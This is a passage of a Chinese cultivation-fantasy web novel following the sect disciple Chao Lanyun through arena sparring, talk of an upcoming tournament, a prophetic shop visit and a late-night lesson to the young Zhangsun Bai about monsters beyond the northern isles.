“你是继续在这里待还是去找师青缇,”朝揽云追回思绪,回思一下,严谨地补充道,“不过我刚回来不认路,如果你要找师青缇,就要拜托青怜带你去。”
“青缇哥哥让我跟着师姐。”
师青柏貌作乖巧回答。
“那就留着吧。”
——
刀枪争鸣,红缨乱舞,校场上人影乱舞。
朝揽云双脚牢固着地,拽着手中红缨长枪的尾部,挑开了前方之人所攻来的刀,随后立即将枪向上一扔,翻身躲过身后之人挥来的剑。
“嘭”的一声,数十张符箓列布到她四周,她伸手重新接住了落下的长枪。长枪一抖,她在空中反身落下,枪尖也随着她的动作将身旁遍布的符箓划开燃尽,落为灰烬。
施符人一脸吃惊,不知何想。朝揽云趁此将他挑下了校场。
他身后的人掐诀施法而来。
她借力一闪,将长枪扔起握住枪尖向后一撞。
不出所料,淘汰加一。
宽旷擂台之上,她扬了扬眸,向下俯视。
长枪使起来有些生涩,朝揽云抛了抛这把武器。其实朝揽云并不擅长使用长枪,长枪过于笨重,故而在游历时较难携带。即很少得见,也更提不上熟练使用了。但也正因如此在选武器时,朝揽云毫不犹豫选了长枪。
对战者有八人,淘汰两者。她扫了眼剩下的人,思考着如何不下死手赢了他们。
太初宗这代的弟子……
她想着,似乎缺少试炼。
是还没有到下山试炼的年纪吗?实战经验少得不可思议。
她蹙着眉,在看到校场的角落施阵的两人阵法即将成型后,扬起眉角,快速穿过了其余四个人的包围。
长枪一甩,快速挑开了他们的袭击,然后翻身将施阵的其中一人踹下了校场。
“五个。”她笑言。
一时之间场内各种五彩缤纷的术法闪烁向她轰去,而她总是在那些色彩沾到她身上之前随意避向旁边躲开了那道攻击。
她走在斑斓色彩激起的尘土中。
“唰”的一声,一道飞镖在不经意间浅浅擦过她的胳膊。
隐蔽性很强的术法。
朝揽云终于感兴趣地抬了抬眸。
扔出飞镖的是一个拥有很英气眉毛的师姐。
朝揽云弯起了眸角,一面心不在焉地躲避着其他攻击,一面认真看向她的行动。
那位师姐神色不动,继续手持各种暗器向她射来。
“啧,”看着她还是在认真看着那个女子,另一个方向有一道声音响起了,“师妹不要只看使君啊,这样我会觉得我的实力都不被师妹看上眼的,明明我也没有这么弱吧。”
出声者手持一杆长鞭,嘴角露着一个酒窝快速向她奔来,笑得很阳光。
挺有胆魄的,想利用长枪的近战短板进行遏制,朝揽云带着些赞赏意味地想,可惜长枪在不同的人手中使用是不同的。如果看出不熟练从而小看我…
她长枪一挑,笑视对面。
被挑起的酒窝师兄甩出了鞭子,他趁朝揽云用长枪挡住英气眉毛师姐的飞镖时,快速缠住了她拿住长枪的手臂。
朝揽云感受着鞭子的力度有些诧异。
就像蛇一样,取以柔克刚之道。
力道运用得当,只是缺乏了一些招式的启发,就能和那位英气眉毛师姐平分秋色了。
趁此机会其余人的符咒刀剑都撞了上来,刀枪相撞,红缨乱舞,衣裾纷飞,兵器的嗡鸣声舞动成校场中乱斗身姿的乐曲,朝揽云有些可惜地放弃了已经对她形成了限制的长枪,将其向场外一抛。
扔出长枪后她反手抓住了酒窝师兄的长鞭,反身使力将他扔向了校场外。
酒窝师兄借英气眉毛师姐射出暗器的空挡,反手甩出鞭子。
于是,趁着施来的反作用力,朝揽云借力空翻,躲开了地下被符箓凝成的冰霜,而后一脚将面前冲来之人的剑踢飞了出去。
在她又将一人踢下台后,那位酒窝师兄控制住了自己的身体没有被甩出去,而另一位师姐也在时刻见缝插针地试图向她身上补充暗器。
朝揽云起了兴趣,随意将地上一把武器踢起在空中接住。
一道剑气斩过,面前的人纷纷躲避,不知何时朝揽云布下的阵法浮现。
校场上剩余的人皆僵在原地。只得眼睁睁看着她快速一个个将校场上剩余的所有人,都踢了下去。
对他们的打击好像有点大。朝揽云挑着眉,颇有些无赖与自得地想着。
比试结束后,校场上一片懊恼声音。
朝揽云等待在议事堂方向,正忙得焦头烂额和一些师兄师姐安排着什么事情的大师兄,百无聊赖地想。
萧驷向她招了招手,示意朝揽云走向他。
他离校场的距离并不算近。站在议事堂后门附近,手中拿着一块令玉。
枯树的婆娑映在他身上。
“懒云。”
朝揽云走了过去,在他喊出声时停下了脚步。
“大师兄。”
朝揽云扯出一个颇为阳光的表情唤了一声。
“找我什么事?”
青怜扶着师青柏跟了过来,在边上等着。她们也颇为好奇地看着听着。
“你是?”大师兄很快注意到青柏,他看了看朝揽云又看了看师青柏,很快明白了什么,“青缇那小子倒是机灵。”
“我说他这几天怎么安心了不少,原来如此。”
大师兄或许是负责门派间的交往太多了,无论说什么话都像颇有深意一般,即使笑脸盈盈的。
朝揽云敷衍笑了笑,“大师兄这话说的,好像我是什么香饽饽一样。”
“师妹可不就是吗。”
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他把这个话题一笑带过。
“无事牌。”
大师兄一直拿在手中的温润的青白色令玉被稳稳放到朝揽云见势张开的双手中,令玉之上刻了一个飞扬的“云”字。
朝揽云难得有些无措。
无事牌不是祈祷晚辈平安的吗,怎么突然给我。
我也能获得平安吗?
我也……
被人看在眼里吗?
朝揽云不知自己为何做此想。
大师兄看着朝揽云无措模样,突兀笑出了声。
他伸手摸了摸朝揽云的头。
“这个令玉是用当年你落下的无事牌改的,在宗门阵法内可以联系持有令玉的人。长老宗主和一些重要的师姐师兄我都帮你加上了。”
当年落下的无事牌……真奇怪。
“谢谢大师兄。”朝揽云只得抿唇收下了这一无事牌,以令玉的名义。
“萧驷!”
不远处传来了浑厚的叫唤声,从预备队那里走来了一个个子格外高大,面色古铜中泛着一些青紫色的大汉。
朝揽云随着大师兄萧驷的动作向他望去。
“朝晖师兄。”萧驷应答一声,也是在为朝揽云介绍他,“上一届九龙朝巅会的第五名,也是预备队第七小队队长,不出所料的话,懒云你回来后会和朝师兄一起从事。”
朝师兄,朝揽云顿了一下。
太初宗收养了很多孤儿,其中没有名字的孤儿每一批都会是同一个姓,如果没猜错朝师兄是和她同一批被收养的孤儿。
“朝师妹!你好啊!”朝晖呲着大牙笑了起来。
同辈让朝揽云对他生出几分同理心,礼貌又客气地对他笑了笑。
“等你回来我们就比试一下,你赢了就是第七小队的队长了。”
“朝师兄。”
萧驷很明显地警告了一句。
“别那么严肃嘛,小驷。”朝晖哥俩好地搂住了他的肩,“刚刚的比赛我看到了,云师妹的出招明显都带着压抑的杀气。”
“训练赛不过一种束缚,师妹可是专是为我们培养的,对付那些怪物的大杀器。对吗?”
他弯下腰来看着朝揽云,咧嘴一笑,显得有些傻气。
他在挑衅吗。朝揽云凝了凝眸,看着他的表情。
“云师妹,你说是吗?”
朝揽云沉默着不置可否,只是对他挑了挑眉。
“既然你要去参加九龙朝巅会,”朝晖没有再继续说下去,“那么我给你讲一下对你最有威胁的对手吧。”
“第一是现在大陆仅存的预言师传人,络净,使一手毒玉牌,不过具体怎么战斗没有人知道,毕竟她从不轻易动手。她现在在中境。”
“第二是千仞宗的徐怀初,修剑道的天才,还是他们宗的少宗主,使一把银白色长剑,还没下过山,不知道战力几何。也是我们东境的。”
“第三是南疆的云宁,使一手炼丹术,出神入化,不过战力不高,属于可以拉拢的人,如果可以把他带回我们预备队最好了。”
朝揽云扯了扯嘴角。
“没有一点私家消息啊。还有,师兄你的私心都暴露出来了。”
朝晖摆了摆手,毫不害臊地说。
“这不是我们队伍里缺炼药师嘛,绑来个也可以啊。”
“东洲,西漠,中境,南疆,北屿。”
“还差两地。”
“我来解释吧。”萧驷在一旁开口道。
“北屿世家林立,但是最近遭到袭击了,抽不出人选参加。”
“西漠的话妖魔较多,最近与我们起了矛盾,很多人逃了出来,刚刚和你作战的一位师妹就是从西漠使君家出来的。”
“使君?”
朝揽云回思道,“那位使暗器的师姐,隐蔽气息的技巧不错。没想到是家承。”
萧驷点了点头,然后很快转了话题。
“你回来时师父他们不在宗。今晚就赶回来了。晚上我接你去师父的院子,一起认认新师弟。”
朝揽云应答一声。
“那我带上青柏,不然她没处去。”
“好,我们先去处理事物。”
师青柏刚要推脱,萧驷就立马答应了,他摆着手,拽着着还在不停向朝揽云招手的朝晖,回了议事堂。
4. 有寻朝朝暮暮夕阳时
待萧驷将朝晖拖走后,朝揽云回忆着朝晖故意漏出招摇的绑臂间细密暗绣,方才弯起了眸。
预备队联系人的标记。来耍人玩的吗?
“青怜,朝晖师兄不属于议事堂吧。”她已经确定了发问道。
青怜还在一旁好脾气地牵着师青柏,她亮丽的发丝绾起漂亮的发髻,侧插着一只白色玉兰。
她听到朝揽云的发问歪过头来,一只手别了别耳畔碎发,看了下朝晖的背影,又看回朝揽云。
“我以往没见过这位师兄,”她敏锐察觉到朝揽云的意思,并联想到预备队因其发问,“听说懒云在外游历时帮预备队训练了一支别队,与这有关?”
朝揽云笑着,不置可否。
青怜便心中有数,点了点头,说:“明白了,不是议事堂可以知道的事。”
青怜是属于议事堂范围的弟子。
师青柏听此也探查般抬起头。
朝揽云眸光对上她眼上那素净的白布,温和却又警告地笑着把她的头按了下去。
“师妹。”
昂扬的声音传来,方才在校场最为让朝揽云印象深刻的两位各自持着武器,从一群叽叽喳喳的人中走了过来。
朝揽云心情颇好的回过头去,看向两人。
她拱了拱手。
“午好,两位。”
朝揽云的眸子在阳光下弯好了完美的温和弧度。经过实践,这在宗门内很管用。
“找我有何事?”
青怜有些惊奇地见她这幅模样,分外遗憾她不愿加入议事堂以此应付诸人,自觉地拉着一脸好奇的师青柏离开了。
“莫易,”那位身着深蓝色布衣的开朗酒窝师兄开口自我介绍道,“与师妹同样是被收养的孤儿。”
“使君其,西漠使君家投靠来的弟子。”眉毛英气,却长了一张乖巧面孔的师姐也跟着自我介绍。
“此次前来是对师妹的手下留情,表示感谢。”
两人同时弯下腰,拱了拱手。
朝揽云意外地看着两人,随即笑道:“莫师兄和使君师姐这般可真是折煞我了。”
她扶起两人,内心回忆着游历时旅舍相识自称浪的剑客教导她的。
“投奔他人需先摆出低姿态,再由对方再三推阻,表达自己的决心,这才算是成了自己人。”
教导时,浪剑客帷帽上的红穗不停招摇,仰头饮了一杯,而后指着旅舍老板。
“跟着颂九昭好好学,被她收留了对你真是福分。”
红衣美颜女子便也笑得招摇,一双绿眸熠熠生辉。
朝揽云神色不变,唇角依旧温和弯起。
使君其同样走神,微抿下唇,探究的目光看向她胳膊的伤处。
“非常抱歉。伤到你了。”
朝揽云很是诧异,不过小小血痕,宗门内的弟子连此都要表歉的吗?
她立刻推脱起来。
“师姐这话说的,人外有人嘛,若不是师姐让我发现了自己对敌的轻视,日后对敌还少不了受伤。这般来说,我要感谢师姐才是。”
“师妹这番话说的可真是滴水不漏。”
莫易敏锐地发现了她一瞬间的失神,看着两人交谈也似笑非笑望过来。
“师兄的鞭子使得也好,以柔克刚完美化解了我的力道。闻若蛇无七寸可赞也。”
“若蛇无七寸。”反倒是使君其因此失神了片刻,目光怅惘看向朝揽云。
朝揽云却只是继续很全面地将两人夸着,她脸上始终带着温和如柳抚风的笑,宛如玉面道人,只将那喋喋夸赞不断出口。不管自己内心心生迷茫。
莫易却不在意这一点,他拍了拍她的肩就长笑道:“师妹说话真有意思,明明是可以作为长老自成一峰的实力,却是如此年纪,这次回来,想必一定是为了九龙朝巅会得胜后那个前往异界的机会吧。”
“师兄看好我?”
朝揽云也跟着笑了起来,她抱着臂,眸光微微扫过他的神情,端的一副漫不经心,让莫易不好揣摩她的情绪。
“师妹这话说的,”莫易神情微怔,走回了使君其身边,“我们自然都看好你。”
“云师妹会参加团体赛吗?”
使君其回神过后,不理会两人间的逐番试探,她诚挚发问。
“师姐既有此问,想必也是知道预备队的人不参与团体赛,只能在单人赛上夺冠的吧。除非是宗门的命令。”
朝揽云意气风发就说出了“夺冠”这两个字。
“我知道。但是朝晖师兄不是方才在招揽师妹吗?我想…”
“师姐是被师兄的挑衅给哄过去了啊,我其实很早就是预备队的人了。”
朝揽云打断了她的话,眸光中带了些无奈的欣喜,睫毛轻扬,连忙摆手笑道。
“预备队的人可无法离开。师兄方才招揽我的话语,大概只是作为迎接一个即将入队的成员开个玩笑而已。”她抵着下巴,思考该如何描述这一冷场笑话,“我只是调职了,从外派小队调到第七小队成为正式队员而已,所以他是来通知我的。”
也是在挑衅朝揽云即使已在外完成了无数任务,在宗门内依旧要论资排辈。
朝揽云挑了挑眉,观察着使君其的神色。
使君其方才恍然大悟。
“既然这般,”看着一脸嘲笑笑出酒窝的莫易,朝揽云轻松一笑,“太初宗的团体赛就交给诸位了。”
她的眸光望向一开始就发现的不远处躲避着视线不敢向前那一堆人。
“诸位将来可是我们的中坚力量呢,一定可以达成天衣无缝的合作的,对吗?”
朝揽云咽下嘴角将要吐出的那句“胜利”,她向来不愿给人过大压力,更何况她如今并没有如此的立场。
两人意外地看向她。
“不用这么意外,”她眉尾一挑,“你们可是太初的新生代啊,就算输给了我,也不会比别人差的。”
……
“新生代?”那边有人窃窃私语,“被一个小几岁师妹轻易打败的新生代吗?”
“这师妹莫不是以此话语讽刺。”
“若她真是这般想倒是用不得这般,”一个常年出外勤的师姐答道,“至少她的实力的确不容致庸。”
一群人复杂看着她,或者是转过头去。
“青怜,”朝揽云挥手送走那群颇有些崇敬与感动的弟子,心中颇有些自满从眸光中漏了出来,“青柏呢?”
师青柏并没有被青怜牵着,这让朝揽云有些疑惑。
“遇上她哥哥被带走了。”
“哦,”朝揽云后知后觉点了点头,“看来不能带她去见师父了啊。不过青缇是她哥哥吗?”
她很快把这一消息抛之脑后,望向青怜开口道:“要跟我下山吗?”
朝揽云实在是个一惊一乍的人,但从青怜满脸抑制不住的笑意就能看出,这并不惹人讨厌。
青怜轻快点了点头,头上玉兰花的花瓣随之飘舞。
朝揽云方才想攥住她手臂,突然回忆起小时她怕高,便揽住了她后背,带着她跳起来,踩上黑剑。
直至飞至高空,看着身下万物渺小浮萍,青怜才后知后觉问到:“懒云,我们去哪里?”
朝揽云隔着她衣物飞起的轻纱确认着下方的位置。
“我小队那群淘孩把太初宗周围逛遍了,他们说这附近有一条长街住着一位预言师。”
她回忆着昨晚在自己院子里东翻西倒,突兀找到的纸条。
实在没想到这些选择进入太初宗修行的存活者,也想接触情报工作。
“很有趣不是吗?”她唇角抵抗着空中烈风张合,一脸兴味,“九龙朝巅在即,大陆上如今唯一两位预言师一位是前敛,预言尚未出错,一位是她的徒弟,会与我一同参加九
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龙朝巅会,不论是谁出现,都格外有意思。”
“而如果不是这两位,”青怜抵着凛冽的狂风,神情专注冷淡地分析了起来,“怕是…”
“怕是更有意思。”
朝揽云紧紧揽住她,发现了那条长街,护住她的脸,加速穿过了云层。
玉兰的花瓣飘落一片,朝揽云颇为不好意思地伸手上前为她簪了半只虚假的桃花。
她庆幸起来当初炼秋千幸好有失败品。
青怜噗嗤一笑,扯下头上的白玉兰,手中玉兰递到她眼前。
“傻懒云,好好看好好想,这是真是假。我们宗里又能有几朵真花?”
玉兰重新在她面前凝聚出完整的模样。
“不过,既然是懒云簪的,”青怜扶了扶头上那半枝桃花,把玉兰收起来,“我自是要好好展示的。”
朝揽云不由有些尴尬地转眸望向长街。
长街上人群不少,朴素的石块被人踩踏,留下了不少磨损,青乔小楼紧紧布在长街周围。
街道上空由两边小楼扯着青黄或是柳绿的布料,为过路人遮阳。
朝揽云敏锐察觉到有一道目光看向自己,她寻视线望去,只见一处店铺门口,白衣人影一闪而过,而他身后背着的剑折射出一道凌冽的银白色剑光,刚刚好被她望到。
转头去,青怜正看着长街另一半感叹道:“那边竟是千仞宗,没想到这条长街竟然建在太初宗和千仞宗之间。”
千仞宗,朝揽云若有所思,看来这条街上的传闻多少有些真实性,她望向方才那人消失的店铺。
听闻千仞宗之人皆规整束发,身着白衣,背长剑,是名副其实的剑宗,也是在东洲与太初宗并立的另一宗门。
“青怜,我要去打探一些东西,你要一起去吗?”
她转过头来询问。
她不能一个人独来独往,捎带上人就要负责。
青怜带着头上那半枝桃花转过头来,看见朝揽云讪讪避过桃花枝的神情笑了起来。
“有什么事就快去吧,”她晃了晃自己的令玉,又指了指朝揽云的无事牌,“还在宗门阵法之内,通过这个联系。”
朝揽云便赶忙奔店铺而去了。
只见店铺门口垂着一靛青色布料,上书“安梦皖”三个大字,附近悄无声息,仿佛与长街的繁华隔绝了一般。
她挥开门口那艳红布帘走了进去。
店铺内各项陈列,犹如古朴当铺,最里面屏风前,有一人端坐在堂,身着鹅黄色衣衫,长相乖巧,手持墨笔,认真书写着什么。
“掌柜的?”
朝揽云试探性叫道,她穿过各式凌乱的凳子,极为细心不触碰到它们。
堂内简朴,令她产生了一种既视感,放松了不少心神。她一手还在按着腰间那把黑剑,默默警惕着面前人。
少女只是抬头看了她一眼,而后重卷书墨,换了一张白纸重新书写。
“来者是客,这位异魂客人,请坐。”
她的声音犹如铃铛,叮当作响,说话的腔调有着奇怪的规律在。
“异魂?”
异世之魂。
朝揽云顿住足,她向前紧走几步,分外诧异,“我从小生长在这里,并非异世来魂。”
“客人的记忆可并非真实。”
少女的模样看起来十分故弄玄虚,她沾墨落下了最后一笔,才抬头看向她回答。
朝揽云一手搭在堂台上,一手指着少女那写完墨迹尚未干的纸张。
“我可以看一下吗?”
“当然。”少女的眸角嘴角都漾出了欢愉的弧度,“这是专为你而写。”
隐隐约约中,她看清了两行字。
几度麒瑞梦,霞光不遮眼。
桃花林下鹿仙言,鹭洲旅馆半遮天。
鹭洲旅馆!
她连忙抬头想要对那人说什么。
5. 第 5 章
是梦非梦耶,如梦在雾中飘,蝉翼一般薄的纸落到她面庞,让她怎么也躲不过,什么也看不清。
眼前一恍惚。
朝揽云向后仰倒,躲过了眼前袭来的凛冽剑光与带着杀气的繁复玉牌。
玉牌与剑光合作,略削去了她鬓角扬起的一抹发。
发丝落到地上。
她踩上长剑借力反身跃起,握紧了手中黑剑。
身边四散出灵气,袭荡四周,一瞬间完美压制住了她对面两个人。
擂台上地面声声崩落,染着鲜血的旗帜随风拂过。
朝揽云踩到地面,向前奔去。
两人一时不察,被压得伏跪在地。
她勾起唇角,甩了甩黏到脸颊的剩余发丝,一瞬间,嚣张又快速地拎着剑,飞速奔到两个人面前,一剑挥去。
“当”,面前的剑修抗住灵力袭压,横起剑在身前挡住了她的袭击。
手握玉牌的女子扶地站起,一身繁复鲜艳的衣裳沾上了血迹,她咧起嘴角,盯住角斗的两人,掐诀袭击而来。
朝揽云侧光注意到,连忙一个用力将面前长剑推开,光速反身躲过了她的符咒。
剑修也趁此借力离去,并斩下一剑。
朝揽云的衣袖被剑修削去了一部分。
“哈?”
她立刻掐诀布阵。
对面两人对视一眼达成共识,决定先将她除下台。
朝揽云丝毫不惧,笑着握紧了手中剑柄。
她们的武器撞击到一起。
剑声嗡鸣,传出了赛场。
蝉翼薄的纸,上方墨迹逐渐在她眼前消散…
傍晚的风带着几丝凉意,朝揽云被噩梦惊起,她一身热汗很快起身,顺滑的发丝洒落下肩,遮住了有些凌乱的衣襟。
窗外传来风声。或许是被噩梦影响,朝揽云有些惆怅,她抱着吹吹凉风静下脑袋的想法,推开了窗户。
一片不甚繁茂的桃花树映入眼帘,朵朵浓艳逍遥,映着月光,撒下一片片无人可见的灵气迷雾。
朝揽云伸出手去,午夜的凉意浸染上她的指尖,空气中的灵力不断缠绕,试图润湿她皮肤。
一身白衣的十四岁少年正在桃花林中练着剑,他身旁随风落下桃花花瓣,围着他旋转舞动。
这倒是让人心情好了些。
朝揽云有些恍惚地想,她眼前莫名有些朦胧,就好似这一场景早已见过无数次。
“小白!”朝揽云懒懒提起神,眸中溢满笑意,嚷了起来。
“如此勤奋月下练剑,莫不是图谋传下个百年月下桃花客声名!可愿晓得千年后有一月下仙人舞剑向月为求婵娟?”
她眉毛扬得不能再起,正为自己找到了个如果有趣的话题得意。
长孙白被她突然传出的声音顿时吓得惊顿住了身体。他很快转过了身看向朝揽云,一脸气急恼意,声声反讽。
“姐姐倒又是这般愚耍芙蓉逗弄他人,乱人心智,坏人练武,只是说这般花花口言,不明不白,那莫不是图个逍遥浪荡名气。”
他笑话人的功力也不小,朝揽云想,可惜完全没有嘲讽到自己。
她只是把手搭在窗沿上,托腮看着他白面团子似的脸上现出恼意,然后顿时烦闷尽散,嚣张起来。
“若有此名,也不亏了我一番行侠游历。倒是小白,敢对我生气,是觉得午夜寒霜时刻练剑,便打得过我了吗?”
她表现地很嚣张,如同一个打家劫舍的恶霸,这正让她沾沾自喜。
长孙白神色不明地倔强站在外面与她对视。
朝揽云只得叹了口气,挑了挑眉,罩上外衣就转身走出了门。
她那把乌黑的配剑见她出门也飘起,浮浮沉沉跟在她身后。
“如何打不过?”
长孙白见她出来,嘴角撇了撇,眼神随飘忽地瞄了她的剑一眼,却立刻又是张扬挑衅,这话却让朝揽云忍不住嗤笑了一声。
“原来是觉得自己打得过我了?真够自不量力的,富贵人家的无知小公子。”
逗弄他人总是让朝揽云感到有趣的。
长孙白眸光收回,他并不服气,起声宣布道。
“那我们打一场,若是我赢了你,明天的饭要你来负责。”
是不想做饭了吗,朝揽云搞错重点,若有所思地转了转眼珠,立刻一脸坏心思地应答了。
“若你果真赢了,明天的饭自然我来负责。”
她眉眼狡黠弯弯,明显藏着坏心思,月光刚刚好照过她的眉弓眸光。
长孙白不去看那耀眼的月光,故意一脸狐疑地看着她。
朝揽云便也故意做出他那副模样,看着这个在离家出走路上意外被她捡回来的小孩,激怒他道。
“怎么?不敢?”
长孙白不做声,他或许想着抢占先机,待她声落就立刻持剑刺了过去。
朝揽云挑衅地抱着臂,毫无技巧地快速躲了过去,轻飘飘如一阵云雾。
“小白,就这样吗?不是说要赢我吗?”
她嘲讽道。
“若是只有这点水平,你可赢不了我的。还会被我一剑挑倒在地。”
她露出了挑衅的笑容,有些惹人恨。
长孙白面上恼怒,咬着牙继续横劈过去。
“战斗意识不错,看来我教你的都听进去了。可惜再怎么样也是赢不了我的。”
长孙白气息变快,剑招逐渐凌乱。
招招向朝揽云致命处刺去。
“小白。”
剑招渐乱,朝揽云看着他失神的模样,略微恍惚,她大大叹了口气,一指点在他眉间,心中颇为他的冲动感到纳闷。
手腕一动,便将他手中的剑改变方向,插入了地中。
“很不服气我吗?这么容易被刺激。”她打量着他,“不要被我的话语影响啊,如果这么容易被影响,修炼途上可会很容易起心魔的。”
“为什么?”
待朝揽云话声落后,长孙白突然问道,他气喘吁吁攥着被插入地中的剑的剑柄,把整个人的承力点都靠到剑柄上,一脸交杂着咬牙切齿的迷茫。
“什么为什么?”
朝揽云自顾自思考着,突然听到他的问话,便一脸疑惑低下头看向脱力扶着剑半跪在地下的长孙白。
他的额头被她戳得有些发红了,朝揽云的手指才后知后觉反应过来,离开了他的额头。
小孩子这么脆弱的吗?她想。
长孙白咬着牙。
他的肩头落上了花瓣,朝揽云便漫不经心帮他拂去了。
“你也不过十六,不过大我两岁,为何比我强这么多。我在你面前如蜉蝣撼树,连你的衣角都碰不到。”
朝揽云听着这句话一时间想笑,但是看着一脸阴郁悲痛的长孙白还是憋住了。
真真有趣的问题。
“想学吗,小白,要我告诉你吗?”
她调笑道,拍了拍手掌摆开,拂去方才在花瓣上沾染的露滴。显得分外轻佻温和。
“我想学!”
长孙白眸光抬起,紧紧盯着她,过白的面孔如长白山的雪莲,皎艳白净。
虚弱过甚,朝揽云心头浮现了这个念头。
听到他急切的回答后,朝揽云忍不住轻笑出声。
“那让我想想从哪里说,就从我为什么要变强说起吧。”
朝揽云眸子略微眯起,没有管他的诉求,只是自顾自说着自己想说的话。
“小白,你的家在北屿,知道北屿以北聚集的那堆异变怪物吗?就是我遇到你时追你那群。”
长孙白目光一瞬间茫然。
“世家长大的小公子。”
朝揽云有些失望,似笑非笑说道。
“怪物由植株家禽野兽诸类异变而来,好杀戮,好血腥,随机异变,而且至今无人找到异变原因。千年前,我们的世界因为它们被上界仙界和下界凡界分割出来。当然这同样因为那两波人缺德。”
她耸了耸肩看着长孙白。
“后来怪物大规模异变。有一群当时的天骄建立宗门,将它们赶往北屿以北,种下结界隔离危险,时刻派人清理结界内那些突然异变的怪物。我的宗门太初宗就是其中之一,我从小就接了很多任务去除怪。”
朝揽云的神色颇为自得,不知为这天才的名义还是济世的名义,但明显此刻长孙白并不认可她的自得。
“我并没有听闻过。”
长孙白有些震撼,他看着朝揽云,眼底深深倒影着她的模样
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,他默默起了身不再仰视朝揽云。
“我从未听闻北屿以北还有什么怪物。遇到你时我以为那些怪物只是特殊的妖。”
朝揽云瞟了他一眼。
“你没见到倒也不是件坏事,至少表明北屿的世家子弟不会都像你一样弱,不用我去北境的时候还要保护。”
长孙白垂下了眸,神色压抑。
“在遇到你之前,我的确没想到过你们背靠天梯的世家没有此等忧患。”
朝揽云想着想着有些不平,一脸愤愤地看着长孙白,磨着牙。
“倒是亏了我们宗门内那些随时准备上战场的孩子,少存未来。”
长孙白愣了片刻,握紧了手中的剑,将要开口说什么。
“好了,没有说你,我总不会把这种事情怪到一个小孩身上,又不是你做的。”
朝揽云看着他无措的模样立马调整好了情绪,笑道。
“总之,你不可能达成我的水平啦,我八岁时可是就开始下山游历,四处追杀那些怪物,生里来死里去的,你如果能追上,我这八年莫非虚度了?”
“八岁…”
朝揽云没有在意他的惊讶,他身后散着清晖的月亮将要继续西移,朝揽云准备催他睡去了。
“姐姐,我会去北境以北的,跟你一起。”
长孙白沉思后抬起了头。
“我从小读的书是以天下为己任。我本以为我长大后就算不能做出什么大的贡献,也会是个光明磊落的人,持剑横斥一方。但如今我方知己之失也。”
他突然俯下身,极为正经道。
“谢谢姐姐告诉我世界的全貌,我觉不会成为苟活的人。若我将来如此,还请姐姐取我头颅!”
朝揽云被吓了一跳,有些难为情,连忙避重就轻地揉了揉他的头,开口道。
“得了,小少爷,别说这些话,而且如果你真的去,你家里人该发疯了。”
长孙白十四才开始接触剑,如果真的要去那里,这样的修为只能白白填命。
朝揽云不会让这种事情发生的。
“姐姐,我说真的。”
“我也是说真的。”
朝揽云轻轻淡淡笑着,认真地对上他的目光。
“听话,你是小孩子,还是弱者。世界不该由你担起,”她的话语自傲又诚挚,“如果有一天你们真的要上战场,也只能是我站在最前面。”
“而且,”她看着长孙白若有所思,“有些人不站在战场上反而能发挥更大作用。”
毕竟长孙白是个世家的继承人。
“比如我们宗主,在东洲收留照顾孤儿们,处理宗门事物,为边境提供符箓阵石。”
“小白,这怎么能说没用呢?”
“如果自己没有去前线的执念,没有能力就不要去轻易送死。”
长孙白呆了一下。
“姐姐,那你呢?”
“我?”朝揽云挑了挑眉,“我当然会是前线名气最大的队长了。”
她又看了看天色,潦草结束了她们的交谈。
“你去睡吧,这个年纪应该长身体,别熬夜。”
她本意是看到他熬夜叫他睡觉,却不想说教了这些,心里颇有些后悔。
“姐姐不也才大我两岁。”
“可是你弱啊,在我这里只会是小辈。”
朝揽云嬉笑道。
“你看不起我?”
“不,”朝揽云一脸笑意,“我看不上所有目前还没有赢过我的人。”
长孙白恼怒地使劲晃了晃剑,勉强把剑拔出来,拖着剑,气冲冲地回了屋里。
“没意思,真不经逗。”
朝揽云也就捂着眼瘫到了桃花林里的秋千上,一直在她身边跟着的黑剑也跟着安静了下来。
“乌傩。”
她唤着自己的剑轻声开口。
“这对那些小孩子真残酷。”
剑轻鸣给她回应。
她想起宗门内那群孩子无奈地笑了。
“不管如何,我的志向可是要成为英雄的人,要刻在宗祠上,扬名万年。”
她睁开眼看向月亮,月渐薄雾。
晨露未晞。
朝揽云被一根拐杖敲着手叫了起来。
6. 第 6 章
“怎么在外面睡?”
白眉白须老人头上被坠了些许桃花花瓣,弯下腰,一脸担忧道,“着了凉这身体可不好过,快些起来。”
“师祖!你怎么来了?”
朝揽云一个激灵,赶忙爬起身。她规规矩矩站到师祖面前,红衣胜血,黑发如瀑,一身落花抖落下来,飘了脚下半片地,漫延成扇形。
师祖摇了摇头,拄起拐杖敲了敲她的头。
“我若不来你可就一天躺在这朝露里,寒露性最凉,冰得能让你进医馆。等到受凉了自己也不知道就服气了?”
“哪会呢。”朝揽云心虚地扯着嘴角笑了笑,赶忙转移话题,指向了不远处有些模糊的木屋道,“我最近捡了个长孙家的小孩,师祖要不要去看看。”
师祖听着她的语气无奈道。
“你当人家是什么稀奇小动物啊。”
顺着她的指向看去,半开放式的灶房露出半打白衣身影,师祖颇有些苦笑不得。
朝揽云对师祖的反应,无所谓地耸了耸肩。
“那小孩有些太弱了,”
她的眼神透着些忧愁的阴翳,“弱得我都怀疑他没有修炼过。师祖,北屿的世家子弟都是这幅模样吗,他们可是处在边境附近,他们完全不考虑小孩子将来是否会有在袭击下活下来的机会吗?”
“这倒没听说过,往年朝巅会上北屿的世家都很不错,长孙家的公子可能是特例,比如天生羸弱之类,毕竟他们身处天梯附近。”
师祖思考着解答。
朝揽云听到这个解释,想到她对长孙白的说教顿时有些后悔与心虚,但她此时只得将这忧虑暂且先行搁置。
“懒云,”看着她这神思不属的模样,师祖突然端详着她轻笑道,“又在为他人担忧了,这么多人真的救得过来吗?”
“不救世人何以救世界?”朝揽云摆着一副理所应当的模样理直气壮道,“既然我比他强,他也交换了劳力,我自然会护他。”
这世界合该我拯救。
朝揽云很想这样说,但后天的谦逊顺畅地让她把这一句咽了下去。太过得意忘形了,她暗念。
师祖微晗眸,如同在看最得意的作品,笑面春风。
“姐姐,你这么早就醒了?”
走到灶台处,屋子里烟火热意缭绕的地方透出了些饭香和小白听到脚步声传出的疑问。
朝揽云立马开心地把师祖甩下,赶了过去。
“小白白!今天是什么饭啊!”
她扒开长孙白的遮挡,就讨好着凑着头就往锅里看。
师祖赶在后面,看着她这幅模样,出于宗门形象的考虑,不轻不重地训斥了一句。
“让小孩子给你做饭像什么样子。”
长孙白听到陌生的声音,惊诧地向后看了一眼。
朝揽云一脸无赖地接过了长孙白还端在手上的的饭碗筷子。
“这是我应得的,我保护了他,他应当对我上供。对不对?小白。”
“您是?”
长孙白没有回答,他看着须发皆白老人,有些拘束问道,那人身上的气质明显不是一般人能有的,不经意透出的威压正在无意间压迫着他的神经。
